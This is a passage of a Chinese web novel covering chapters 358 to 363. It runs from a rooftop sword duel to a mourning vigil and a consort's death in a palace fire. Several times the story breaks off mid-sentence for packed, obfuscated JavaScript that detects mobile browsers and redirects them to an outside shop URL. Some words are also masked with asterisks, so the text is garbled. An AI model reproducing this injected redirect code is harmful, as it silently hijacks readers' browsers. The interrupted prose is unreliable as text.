“尔等究竟是何方神圣?光天化日,朗朗乾坤,竟敢擅闯玄元宫驻地!就不怕王法吗?” “王法?” 茅清兮冷笑,像是听到了什么天大的笑话。 “你们西魏人,跑到我大晋的京城来,偷偷摸摸,打家劫舍,还敢跟我提王法?” 她手腕一抖,长剑“三寒霜”挽了个漂亮的剑花,剑尖指着王刚,带着一股子不容置疑的威严: “我就是王法!” 话音未落,她脚尖轻轻一点,人就跟一片落叶似的,飘了出去。 下一刻,又像一阵风似的,卷了回来。 长剑再次挥出,带着风声雨声,比刚才那一剑更快,更狠,直奔王刚胸口。 王刚心里咯噔一下。 这大晋的京城,啥时候冒出这么一号人物了? 他来不及多想,只能挥起鬼头大刀,拼命抵挡。 “蹭——” 刀剑再次相撞,那声音,尖锐得像是要把人的耳膜都刺穿。 火星子四处乱飞,王刚再也不敢大意。 他把吃奶的力气都使出来了,内力疯狂涌入刀身,大刀舞得虎虎生风,每一刀都裹挟千钧之力,恨不得把面前的一切都劈碎。 刀锋过处,气流涌动,地上的灰尘、落叶都被卷了起来,围着他疯狂旋转,仿佛一条水蛟。 王刚身上更是罩上了一层金光,这是他修炼多年的护体罡气,刀枪不入,水火不侵。 茅清兮又一次被逼得**。 她轻盈一跃,跳上了屋顶,脚尖在瓦片上一点,宛若蜻蜓点水,稳住了身形。 几番交手下来,她胸口发闷,呼吸也有些急促。 内力消耗过大,让她额头上渗出了一层细密的汗珠。 跟这种练硬功的家伙比内力,她确实讨不到什么便宜。 真要这么耗下去,王刚没怎么样,她恐怕先撑不住了。 王刚一看她这样,哈哈大笑起来,那声音,跟打雷似的,震得人脑瓜子嗡嗡响: “小娘们儿,身手不错,可惜力气太小!爷爷我还没用力,你就喘上了?还是乖乖认输,给爷爷我暖床,说不定还能饶你一命!” 他双手握紧鬼头大刀,猛地一跳,如同一只巨大的**,向茅清兮扑了过去。 茅清兮眼神一冷,不退反进。 她身子一转,右腿横扫。 “**——” 几块碎瓦片被她踢飞,带着尖锐的破空声,射向王刚。 这几块瓦片,看似杂乱无章,实则封**王刚进攻的路线。 王刚眼中闪过一丝轻蔑,根本没把这几块瓦片当回事儿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689475|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在他看来,这不过是小孩子的把戏,伤不了他分毫。 可就在这时,茅清兮手中的“三寒霜”突然亮了起来,那光芒,像是把乌云都劈开了,亮得刺眼,快得惊人。 剑锋一转,如同一道闪电,直奔王刚的脖子。 王刚这下是真吓着了。 原来这几块瓦片,根本就不是为了伤人,而是为了遮掩这要命的一剑! 他想躲,可已经来不及了。 身体还在半空,旧力已尽,新力未生,根本无处借力。 只能眼睁睁地看着剑锋逼近。 他急忙挥刀去挡,希望用刀身挡住这一剑。 谁知道,茅清兮的剑势突然一变,虚晃一招。 “三寒霜”在瓦片撞上王刚长刀的瞬间,突然改变了方向。 由刺变削,从刀下划过,在王刚腰上留下了一道血淋淋的口子。 “噗嗤——” 血喷了出来,溅了茅清兮一身。 这一剑,不仅快,而且狠,直接破了王刚的护体罡气。 王刚只觉得腰上一凉,紧接着就是一阵剧痛。他闷哼一声,身上的金光顿时就散了。 茅清兮却没再追着打。 她只是站在那儿,嘴角微微翘起,带着点儿嘲讽,又带着点儿得意。 那眼神儿,就好像在说: “你输了。” 王刚捂着腰上的伤口,脸色比锅底还黑。 血顺着他的手指缝往外流,染红了衣裳,滴滴答答地落在地上。 这时,院子里的冀容白已经把另外两个家伙给收拾了。 他悄无声息地跳上另一边的屋檐,正好堵住了王刚的退路。 冀容白站在阴影里,一动不动。 他没有插手的意思,只是静静地看着,像一尊冷酷的雕像。 可给王刚的感觉,比茅清兮那一剑还吓人,压迫感十足。 王刚牙齿咬得咯咯响,心里只想逃。 他明白,今天这事儿,栽了。 可茅清兮哪会让他逃? “三寒霜”在她手里,剑光霍霍,如影随形。 每一招都狠辣无比,每一剑都奔着要命的地方去,根本不给王刚任何喘息的机会。 一套剑法,像是行云流水,又像是**,把王刚压得喘不过气来。 王刚心里急得跟什么似的,想等救兵。 第三百五十九章 可等了半天,周围静悄悄的,连个人影都没有。 只有刀剑碰撞的声音,一声紧似一声,仿佛催命符。 王刚额头上全是冷汗,顺着脸颊往下淌。 他的护体罡气破了,又受了伤,力气正一点点地流失。 再这么下去,他非得交待在这儿不可。 突然,茅清兮身子一转,绕到了王刚身后,抬腿就是一记窝心脚。 “砰!” 王刚根本没防备,被踹了个正着,整个人就跟断了线的风筝似的,飞了出去。 他重重地摔在了院子里,在地上滚了两圈才停下来。 “噗——” 王刚喷出一大口血,感觉五脏六腑都快碎了,眼前一阵阵发黑。 茅清兮轻飘飘地落在了他身边。 “三寒霜”的剑尖,抵在了王刚的喉咙上,只需轻轻一送,就能结果了他的性命。 “女侠饶命……” 王刚吓得魂飞魄散,声音都变了调,再也没了之前的嚣张气焰,只剩下无尽的恐惧。 可惜,他的话还没说完。 “噗嗤”一声,剑尖刺破了他的喉咙。 鲜血喷涌而出,像喷泉一样。 王刚眼睛瞪得老大,里面全是恐惧和不甘。 他拼命地想说什么,却只发出了“嗬嗬”的声音。 他手脚抽搐了几下,脑袋一歪,彻底没了气息。 茅清兮慢慢地收回长剑,剑身上还滴着血。 她身子晃了晃,感觉一阵虚弱。 为了速战速决,她几乎耗尽了所有内力。 冀容白及时出现在她身后,一把扶住了她,让她靠在了自己怀里。 茅清兮顺势靠在他身上,声音轻轻的,带着点儿虚弱: “早知道…不跟你比了。” 冀容白又好气又好笑,又有些心疼: “还逞强?要不是我……” “我能赢!” 茅清兮打断了他的话,语气里带着一丝不服气。 虽然她承认,冀容白确实很厉害,但她也不差。 “三寒霜”从她手里滑落,“当啷”一声掉在了地上,发出一声脆响。 冀容白眼疾手快,一把抓住了剑柄。 他随手把“三寒霜”扔给带着人赶过来的富峻,然后弯腰,直接将茅清兮打横抱了起来。 茅清兮惊呼一声,下意识地搂住了他的脖子。 她挣扎了一下,脸颊微微泛红: “我自己能走……” 冀容白根本不理她,抱着她大步往外走。 “闭嘴,睡觉。” 他的声音低沉而霸道,不容置疑。 茅清兮撇了撇嘴,心里却有些甜丝丝的。 她知道,冀容白是在关心她。 她不再说话,乖乖地靠在他怀里,感受着他身上传来的温暖。 富峻看着他们离开的背影,嘿嘿一笑,捡起地上的“三寒霜”,屁颠屁颠地跟了上去。 “主子,这剑……” “先放着。” 冀容白头也不回地说。 他抱着茅清兮回到澜府的时候,天色已经蒙蒙亮了。 紫姨在俞霜的房间里忙活了一夜,直到天快亮了,才稍微眯了一会儿。 她刚躺下没多久,就被外面的动静惊醒了。 紫姨急忙起身,来到院子里,就看到冀容白抱着茅清兮走了进来。 她吓了一跳,还以为茅清兮出了什么事,差点儿没晕过去。 冀容白连忙解释: “紫姨别担心,真气已经消耗殆尽,又动了气,受了点儿内伤。” 他没有说王刚的事,免得紫姨担心。 紫姨这才松了口气。 她大概也猜到了他们去了哪儿,做了什么。 她没再多问,只是默默地去厨房煎药。 等药煎好了,她亲自端到茅清兮的房间,看着茅清兮喝下去,这才放下心来。 冀容白一直守在床边,寸步不离。 这时,富峻在外面轻轻敲了敲门。 冀容白起身,走到门口,将门轻轻带上,只留下一条缝。 “什么事?” 他压低声音问。 “主子,宫里来人了,是安妃娘娘身边的,”富峻的声音更低了,几乎是贴着冀容白的耳朵说的,“娘娘想见您,说有要事相商。” 冀容白眉头紧锁。 他想起茅清兮对吴容远远的死一直耿耿于怀,或许安妃能提供些线索。 他略一思索,沉声吩咐: “安排一下,今晚让宫里的人把安妃带出来,秘密送到沈府。” 富峻一愣: “送到沈府?这…这不太好吧?” “出了事,我担着。” 冀容白打断了他的话,语气不容置疑。 “是。” 富峻不敢再多问,连忙应了一声。 冀容白想了想,又补充道: “记住,此事绝不能让第四个人知道。还有,时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691270|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间不能太长,不过区区两个时辰,必须把安妃安全送回宫。” 后宫的妃子私自出宫,这可是杀头的大罪。 更何况,还是出来见一个外臣。 这事儿要是传出去,不仅安妃活不成,就连整个家族都得跟着遭殃。 皇家的颜面,比什么都重要。 一旦皇上动怒,后果不堪设想。 荆南王那边也可能受牵连。 云州本就不太平,一旦生乱,与云州接壤的玄武国肯定会趁火**。 到时候,边疆战火一起,不知道又要死多少人。 冀容白绝不能让这种事情发生。 茅清兮一直睡到傍晚才醒过来。 她体内的伤势并无大碍,只是内力还没有完全恢复。 她本该躺在床上好好休息,可她刚一睁开眼睛,就对冀容白说: “我想去看看吴容远远。” 冀容白一点儿也不觉得奇怪,仿佛早就料到她会这么说。 他轻轻叹了口气,语气里带着一丝无奈: “陈家已经设了灵堂,但现在去不合适,等过了今晚子时,我带你过去。” 茅清兮知道他在担心什么,点了点头,没有再说什么。 吃晚饭前,她先去看了俞霜。 俞霜还在昏迷,身上的伤,一时半会儿根本好不了。 茅清兮仔细查看了俞霜的伤势,又让紫姨把所有的药方都拿给她看。 看完之后,她又让人从自己的私库里拿了不少珍贵的药材出来,亲自给俞霜配了一副药。 “这些药,对恢复内力有奇效。” 她对紫姨说: “每天按时给俞霜服用,不出一个月,他就能痊愈。” 紫姨感激地看着她: “多谢小姐。” 茅清兮摆了摆手: “一家人,不说这些。” 等吃完晚饭,天已经完全黑了。 绿绿拿出一件厚厚的披风,给茅清兮披上。 “夜里风大,小姐小心着凉。” 茅清兮点了点头,跟着冀容白出了门。 沈府离这里并不远,但冀容白还是准备了一辆马车。 马车很普通,没有任何标志,赶车的是个陌生的面孔。 到了沈府附近,冀容白让马车停在了远处的一条小巷子里。 两人下了马车,步行前往沈府。 沈府的大门紧闭,门口挂着两盏白色的灯笼,在夜风中摇曳,显得格外凄凉。 第三百六十章 冀容白上前,轻轻敲了敲门。 “谁啊?” 过了好一会儿,里面才传来一个苍老的声音。 冀容白压低声音说: “我们是周大人的朋友,听闻噩耗,特来吊唁。” “吱呀——” 门缓缓打开了一条缝,一个头发花白的老仆探出头来,警惕地看着他们。 “你们是……” “我等乃是周大人在文华院的袍泽,”冀容白从怀里掏出一块玉佩,递给老仆,“这是周大人送给我们的信物。” 老仆接过玉佩,仔细看了看,又看了看冀容白和茅清兮,似乎是在确认他们的身份。 “请稍等,我去通报一声。” 老仆说完,又把门关上了。 过了好一会儿,门才再次打开。 这次,是一个年轻的仆人走了出来。 他看了冀容白和茅清兮一眼,神情有些悲伤: “两位大人请进,我家老爷已经在灵堂等候了。”夜色沉沉。 沈府,比茅清兮想象中还要冷清几分。 吴老夫人身旁的三位老仆除外,偌大的宅院里,就剩下三四个打杂的下人了,一个个都无精打采。 “公子若是在天有灵,知道二位大人来看他,定会瞑目的。” 领路的墨七,声音微微哽咽。 他是吴容远远的贴身小厮,也是给茅清兮和冀容白开门的那个。 才刚踏入灵堂。 茅清兮便怔住了—— 正对着门,黑沉沉的棺木停在那里。 旁边,吴老夫人竟是和衣而卧,就睡在棺木旁! 身下只垫了薄薄的一层粗布,她蜷缩着身子,紧紧挨着棺木。 那副形销骨立的样子,哪像是活着的人? 墨七眼眶泛红,低声解释: “老夫人说什么也不肯离开灵堂,非要守着公子……我们几个,轮番劝了一整天,都没用。” 茅清兮没说话,只是缓步上前,给吴容远远上了三炷香。 冀容白也跟着上了香。 香烟袅袅,整个灵堂里,弥漫着一股浓重的、化不开的悲凉和孤寂。 除了轻微的抽泣,再无别的声音。 吴容远远一死,陈家算是绝了后。 门庭冷落,也是意料之中的事。 只是…… 连这些个下人都像丢了魂儿似的,没个活人样。 “公子平日里……跟谁都不来往,同僚之间也是冷冷淡淡的。”墨七的声音很低,带着几分落寞,“若不是二位大人,怕是连个来上香的人都没有。” 这话倒是不假。 茅清兮和冀容白都清楚,吴容远远这些年,把自己活成了个透明人。 想当年,他也是满怀抱负的热血少年,谁曾想…… 在这**的官场里,竟被磨成了这般模样。 一半是为了护着安妃,另一半,也是为了…… 不跟太子那个禽兽不如的东西沆瀣一气! 其实,吴容远远早就看穿了太子那些见不得人的勾当。 要不是因为安妃,他早就豁出命去,把太子的丑事都抖搂出来了。 可偏偏…… 那年宫里办赏梅宴,他还没来得及查清太子的事,就先一步,撞见了已经成了妃子的安妃。 那一刻,他就知道,自己完了。 什么都做不了了。 后来,太子主动找上门,一切…… 似乎都成了定局。 “对了,二位大人……”墨七突然像是想起了什么,开口问道,“可是公子生前常提起的……那两位贵人?” “嗯?”茅清兮有些意外。 墨七挠了挠头,努力回忆着: “公子前些日子跟我念叨过,说他遇上了两位贵人,还说……打算换个城市生活,去个没人认识的地方。” 冀容白和茅清兮对视一眼,都从对方眼中看到了疑惑。 “他还透露了啥?”冀容白追问。 墨七皱着眉头,想了好一会儿,才猛地一拍脑门: “对了!公子还说,万一哪天他出了事,就让我把……把他的那些‘宝贝’,交给二位大人!” 说完这话,墨七才后知后觉地反应过来—— 自家公子,怕是早就料到自己会有这么一天! 冀容白和茅清兮也愣住了。 吴容远远……竟然算到了自己会暴露? 而且,还提前做了安排? 可不对啊…… 在澜府的时候,他们明明亲口答应他,只要他把户部的账目交代清楚,就立刻送他出城。 难不成……吴容远远压根就没打算走? 现在人已经没了,谁知道呢。 墨七领着他们,去了吴容远远的书房。 那是一间极小的屋子,四面都堆满了书,几乎没有下脚的地方。 “公子平日里最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691271|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝贝这些书,谁都不让碰,更别提收拾了……”墨七指着乱糟糟的书堆,语气里透着几分自豪,“你们可别看这乱,公子想找什么书,一准儿能找着!” 茅清兮却无论如何也笑不出来。 这满屋子的书,每一本都浸透着墨香。 它们无声地诉说着,一个读书人,曾经有过的、对家国天下的满腔热血。 读书救国,从来不是一句空话,而是刻在骨子里的信念。 “在这儿呢!”墨七忽然喊了一声。 他从最底下的一层书堆里,抽出一本厚厚的册子,递给冀容白和茅清兮: “公子说,这就是他要交给二位大人的‘宝贝’,还说……等他‘走’了,一定要交给能用得上的人。” 冀容白接过来,翻开一看,心头顿时一震。 那册子里,不是别的,竟是吴容远远这些年来,陆陆续续写下的关于大晋朝政的各种弊端和改进之策! 从户籍、税收到农田水利、官吏选拔…… 每一条,都凝聚着他对国家、对百姓的深深忧虑和期望。 这绝不是一朝一夕能写出来的! 冀容白长叹一声,心中对吴容远远的敬意,又多了几分。 是他看错了。 吴容远远从未变过。 他始终记得,自己在圣人像前立下的誓言。 他还是当年那个,想要凭一己之力,改变天下的热**生! 冀容白紧紧攥着那本册子,只觉得沉甸甸的。 茅清兮也一样,眼眶微微泛红。 他们从书房出来,又折回了灵堂。 这一次,他们想亲口告诉吴容远远—— 这些治国之策,他们一定会想办法,一条条去实现。 哪怕阻力重重,哪怕……要等上很久很久。 可当他们回到灵堂时,却愣住了。 一个纤弱的身影,正站在棺木前。 单薄的背影,微微颤抖着,仿佛随时都会倒下。 “安妃娘娘?” 茅清兮一眼就认出了她。 冀容白凑到茅清兮耳边,把之前安排好的事简单说了一遍。 茅清兮点点头,心里有了数。 两人放轻脚步,走了进去。 安妃却像是没察觉到有人进来,依旧怔怔地望着那口黑沉沉的棺木。 “娘娘……”茅清兮轻声唤道。 安妃浑身一震,缓缓转过身来。 第三百六十一章 她看着茅清兮,眼神空洞而茫然,像是根本没听见有人叫她。 过了一会儿,她又转过头去,继续盯着棺木。 没有悲伤,也没有眼泪,只剩下无尽的空虚和茫然。 茅清兮和冀容白对视一眼,正准备悄悄离开。 安妃却突然开口了,声音沙哑得像是被砂纸磨过: “算起来,我跟他……怕是有十多年没见过了吧?久得……我都快记不清他长什么模样了。” 她自顾自地说着,像是说给茅清兮听,仿佛在对逝者倾诉。 “我总以为……还要等很久很久,才能等到解脱的那一天。没想到……他抢先一步离去,不等我了。” 这些话,不需要任何安慰。 茅清兮和冀容白也只是静静地听着。 “他不是……一直想离开京城,去过自己的日子吗?不是还有很多抱负,没有实现吗?” 安妃的目光,始终没有离开那口棺材,仿佛要透过它,看到里面的人。 “如果没有遇到我……他是不是早就成了名满天下的大儒,受万人敬仰?” 她顿了顿,嘴角勾起一抹苦涩的笑,像是在自嘲。 面向那冰凉的灵柩,她有太多太多的话想说。 这些年,她一直压抑在心底,不敢说,也不能说的话,终于可以…… 一吐为快了。 “那年,我哥哥跟着先帝出征,家里人怕我闷坏了,就准我上街逛逛。谁知道……刚出门没多久,就遇上了扒手,把我身上的银子都偷光了!我气不过,又不敢回家,就想着……自己挣点钱再回去。” 安妃的声音很轻,像是飘在风里,随时都会散去。 “可我一个娇滴滴的千金小姐,哪会做什么活计?在街上转悠了一天,别说挣钱了,连口吃的都没讨到。”她自嘲地笑了笑,摇了摇头,“后来天都黑了,我实在没地方去,就……就跑到城门口,想跟那些乞丐挤一晚上,等天亮了再想办法……” “然后呢?”茅清兮忍不住问。 “然后……就遇上了吴容远远呗。”安妃的声音里,带上了一丝不易察觉的温柔,“那时候,他还是个穷书生,整天抱着几本破书,说什么……要用笔杆子救国。你说傻不傻?” 她微微抬起头,眼中闪过一丝光亮,仿佛又看到了当年那个意气风发的少年。 “他跟我说,他除了读书,什么都不会。可书里的道理,能教化人心,能改变世道。所以,就算兵荒马乱的,他也得拼了命地读书。” “他还说,自己要多学点东西,将来好为百姓做点实事。我当时就笑话他,说他是个华儒。可谁知道……”安妃的眼神变得迷离起来,“我竟然……被他那股子傻劲儿给迷住了。我从来没见过一个人,能把‘为国为民’这四个字,看得比自己的命还重要。” “所以你就跟着他了?” “嗯,”安妃点了点头,“我就天天跟着他,看他读书,听他写文章,痛斥那群蛀虫……” “后来呢?先帝打了胜仗,你哥哥也回来了吧?” “是啊,我兄长寻我而来,要带我回家。”安妃的声音低了下去,“我不想走,吴容远远就跟我说,等他考中了状元,就来娶我过门。” 她停顿了一下,眼中的光芒彻底黯淡了下去。 “我答应了。可是……我食言了。”夜风裹挟着寒意,无情地拍打着灵堂。 烛火摇曳,几欲熄灭。 安妃单薄的身影投在墙上,被烛光拉扯得扭曲。 她觉得自己快要站不住了,像一缕随时会被吹散的烟。 吴老夫人不知何时醒了。 她浑浊的双眼,死死地盯着安妃。 安妃还在低声重复着那些话,像坏掉的八音盒,一遍又一遍。 直到喉咙沙哑。 “你……是清晚?” 吴老夫人突然出声,声音嘶哑。 安妃浑身一震,猛地抬起头。 她看着吴老夫人,脑海中一片空白。 过了好一会儿,她才意识到,这是吴容远远的母亲。 愧疚感排山倒海般涌来。 “你……是不是清晚?”吴老夫人又问了一遍,浑浊的泪水从眼角滑落。 她颤巍巍地站起来。 “我……”安妃咬紧牙关,嘴唇颤抖着,“我是。” 吴老夫人一步步靠近。 安妃下意识地迎上去,扶住了她。 吴老夫人抬起头,浑浊的眼睛里似乎有什么东西在闪烁。 她努力想看清安妃的脸。 “清晚……清晚……”她喃喃着,声音里带着一丝难以置信,“我一直以为……阿远在骗我……” 她顿了顿。 “他非要说,他有个娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702622|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就叫清晚……还把婚书放在了族里……” 安妃的瞳孔骤然收缩。 “这么些年,他身边……没人……”吴老夫人声音越来越低,“我催他娶妻,他说……他是个专一的男人……” “说今生不能在一起,**也要葬在一处……我连人……都没见过……” “我一直当他……是哄我的……” 泪水,无声地从安妃脸上滑落。 胸口像是被一只无形的大手紧紧攥住,疼得厉害。 “原来……你还在啊……”老夫人缓缓举起手来,轻轻地,颤抖着,拍了拍安妃的手背。 这一下,像是触动了安妃的某个开关。 长久压抑的痛苦,爆发。 “我……”安妃张了张嘴,却只发出一个破碎的音节。 她猛地弯下腰,捂住胸口,身体剧烈地颤抖着。 “好……好……阿远……不是孤单单一个人……”吴老夫人像是没有察觉到安妃的异样,只是自顾自地说着。 她又拍了拍安妃的手,然后转身,走向那口黑漆漆的棺材。 她伸出手,抚摸着冰冷的棺木,眼神空洞。 “阿远……你等等娘啊……” 她说着,缓缓地躺了下去,蜷缩在棺材旁。 安妃站在那里,像一尊雕塑。 不知道过了多久。 “娘娘,时辰到了。”带她进来的人低声提醒。 安妃回神。 她眨了眨干涩的眼睛。 她默默地戴上兜帽,最后看了一眼吴容远远的棺木。 仿佛又响起了吴容远远的声音。 “清晚,我若高中,定来娶你。” “可别像戏文里唱的那样,高中了就娶了别人家的千金。” “不会,我吴容远远此生只要清晚一人,你信我。” “呆子,信你啦……” 安妃闭上眼睛,转身走出灵堂。 冀容白和茅清兮站在夜色中。 “娘娘,节哀。”茅清兮说。 安妃沉默了片刻,问:“是太子下的手?” “是,”冀容白的声音低沉,“他找了西魏的人,不过人已经被我们处置了。” “谢了。”安妃轻轻颔首。 冀容白将一卷文稿交给安妃:“周大人这些年写的东西,娘娘可以看看。 第三百六十二章 ” 安妃接过,指尖微颤。 她翻看着,眼神复杂。 看完,她将文稿还给冀容白。 “萧将军,这些东西,能用上吗?”她问。 “我会尽力。”冀容白回答。 “……那就好……我相信你。”安妃的脸上露出一丝苦笑,“我回去了,今日多谢。” 冀容白朝安妃身后的侍女使了个眼色:“务必将娘娘安全送回。” “奴婢遵命。”侍女躬身。 茅清兮看着安妃离去的背影,眉头微皱。 她隐隐觉得不安。 她回头,再次看向灵堂。 烛火摇曳,白幡飘动,漆黑的棺椁默默伫立于此。 回到宫里,明明郡主立刻迎了上来。 “姑姑。”明明看着安妃,神色焦急。 “明明,”安妃声音疲惫,“吴容远远的事,明早记得去探望一下。” 明明郡主一怔,眼眶泛红。 安妃什么也不想说,摆了摆手。 侍女扶着安妃进了内殿。 明明郡主回到自己房中,翻来覆去睡不着。 姑姑现在一定很难过吧,她心里这样想着。 当年父亲获罪,是姑姑主动提出进宫为妃,换取了家族的平安。那时她年纪还小,只记得姑姑离开那天,哭得很伤心。 这些年,姑姑在宫里小心翼翼,如履薄冰,生怕行差踏错,连累家人。她和吴容远远的事,更是成了不能说的秘密。 如今噩耗传来,姑姑心里该有多痛?可她连光明正大地去吊唁都不能,只能偷偷摸摸,像做贼一样。 明明郡主越想越难受,甚至觉得自己那点小女儿心思,在姑姑的苦楚面前,根本不值一提。 迷迷糊糊中,她感觉自己坠入了一个无底的深渊,怎么也挣脱不开。 不知过了多久,一阵喧哗声将她惊醒。 “怎么回事?”明明郡主坐起身,揉着发胀的太阳穴。 她唤来侍女,却发现守在门外的,竟然是姑姑身边的井萝。 “井萝?你怎么在这儿?姑姑呢?”明明郡主心里一惊,一种不祥的预感涌上心头。 她顾不上穿鞋,跳下床就往外跑。 跑到门口,她才发现,这里根本不是她的寝殿。 四周的陈设,陌生而华丽。 井萝的眼睛红肿,像是刚哭过。 “郡主……”井萝哽咽着,扑通一声跪倒在地,“娘娘……娘娘她……没了!” 明明郡主如遭雷击,呆立当场。 她想过各种可能。 或许是昨晚的事败露了。 但她万万没有想到,没想到翻车的是姑姑。 她一直以为,姑姑在宫里,虽然过得不自由,但至少是安全的。 她怎么就忘了,宫里是个**不吐骨头的地方。 这些年,姑姑为了保护他们,已经付出了太多太多。 明明郡主再也忍不住,眼泪夺眶而出。 她跌跌撞撞地往外跑。 “郡主!郡主!”井萝在身后哭喊。 明明郡主什么也听不见。 她只知道,自己要去见姑姑,最后一面。 突然,有人抓住了她的手臂。 她一个踉跄,差点摔倒。 “冷静点!”尹贵妃的声音传来。 明明郡主抬起头,泪眼婆娑:“我要去见姑姑……” “我知道,”尹贵妃的声音沉稳有力,“我会带你去,但不是现在。你看看你,衣衫不整,成何体统?你姑姑若是在天有灵,也不愿看到你这个样子。回去,把衣服穿好,我带你去。” 明明郡主咬着嘴唇,点了点头:“好……”井萝眼圈红肿,像是被人狠狠揍了一拳,她小心翼翼地服侍着明明郡主穿戴。 衣裳一件件穿上,繁复的配饰也一一戴好。 “昨晚上……”明明郡主忽然开口,声音轻得像一片羽毛,“姑姑是让你带我走吗?” 井萝的声音沙哑得像砂纸磨过墙壁:“娘娘只说,让奴婢送您到尹贵妃这儿,然后寸步不离地守着,哪儿也别去。” 明明郡主感觉心口像是被一只无形的手给攥紧了。 “那……你咋知道……姑姑她……”她想问,又不敢问出口,喉咙像是被什么东西给堵住了。 井萝抬手,狠狠抹了把脸,指尖都在颤抖:“是……贵妃娘娘亲口所言。贵妃娘娘早上来看过您,问您醒了没。” 明明郡主点点头,转身走了出去,步子有些虚浮。 尹贵妃就站在殿外,像一尊雕像。 “走吧,我带你过去。”她开口,声音低沉,却带着一股不容抗拒的力量。 两人一路无言,只有衣袂摩擦的细碎声响。 直到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702623|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到安妃曾住的宫殿前。 明明郡主猛地刹住脚步,像是被雷劈中了一般。 眼前,哪还有半点记忆中那雅致宫殿的影子? 一片焦黑,满目疮痍。 烧焦的木头横七竖八地倒着,残骸中冒着黑烟,还在噼啪作响。 这浓黑的一大片,像一块巨大的伤疤,硬生生贴在这金碧辉煌的皇宫里,丑陋,刺眼。 明明郡主往前走了两步,脚下却像生了根,再也挪不动一步。 那些美好的回忆,一股脑儿涌上心头,几乎将她淹没。 小时候,她每年都要来这儿住些日子,姑姑总是把最好的给她。 这宫殿里,有她的小天地,装满了她心爱的玩意儿,院里那株与姨共植的梨树…… 这里的一砖一瓦,都刻着她的童年。 比起荆南王府,这儿更像她的家,虽说在皇宫里是冷清了些,可有姑姑在,就有家的温暖。 如今,这温暖,没了。 她鼻子一酸,声音哽咽:“我姑姑呢?” 司礼监的大太监周衡,从一旁闪了出来,腰弯得更低了,声音也尖细得刺耳。 “郡主,您随奴婢来……”他边说边挪着步子,像一只在阴沟里爬行的老鼠。 明明郡主只觉得两条腿像灌了铅,每挪动一步都费劲。 在旁边一间还没烧塌的小屋里,周衡指着一个黑漆描金的盒子,头都不敢抬。 “郡主,安妃娘娘……就在这里面。” 明明郡主只觉得眼前一黑,脑子里“轰”的一声。 “你……你说啥?”她死死盯着那盒子,指甲都嵌进了肉里,“你再说一遍?!” 周衡的头快垂到地上去了,声音也越来越小:“火势太大,什么……都没留下。奴婢们只在床榻的位置,找到一堆……灰烬。这……” 他没敢继续说,只用眼角余光瞥了瞥那盒子。 灰烬里有什么?谁知道。几个小太监急着交差,一股脑儿全给划拉进去了。 明明郡主猛地冲过去,双手抓起那盒子,像一头发怒的母狮子,大吼:“她根本不是我姨!我不信!” 她高高举起盒子,就要往地上砸。 可手臂却僵在了半空,手指也开始发抖。 她不敢…… 她怕那万分之一的可能。 整个宫殿都烧成灰了,姑姑… 第三百六十三章 …怎么可能还活着? 可是……可是……她不能接受! 明明郡主颓然跌坐在地,紧紧抱着那盒子,哭得声嘶力竭,上气不接下气。 那哭声,像一把钝刀子,一下下割在人的心上,连屋檐上歇脚的鸟雀都受不住,扑棱棱地飞走了。 尹贵妃就站在门外,听着那哭声,抬头望天。 “这下,你总算能歇歇了。”她低声呢喃,不知是说给谁听。 她扯了扯嘴角,露出一丝苦笑,但很快又消失了。 她转头看向那高耸的宫墙,眼神渐渐暗淡,像是被蒙上了一层灰。 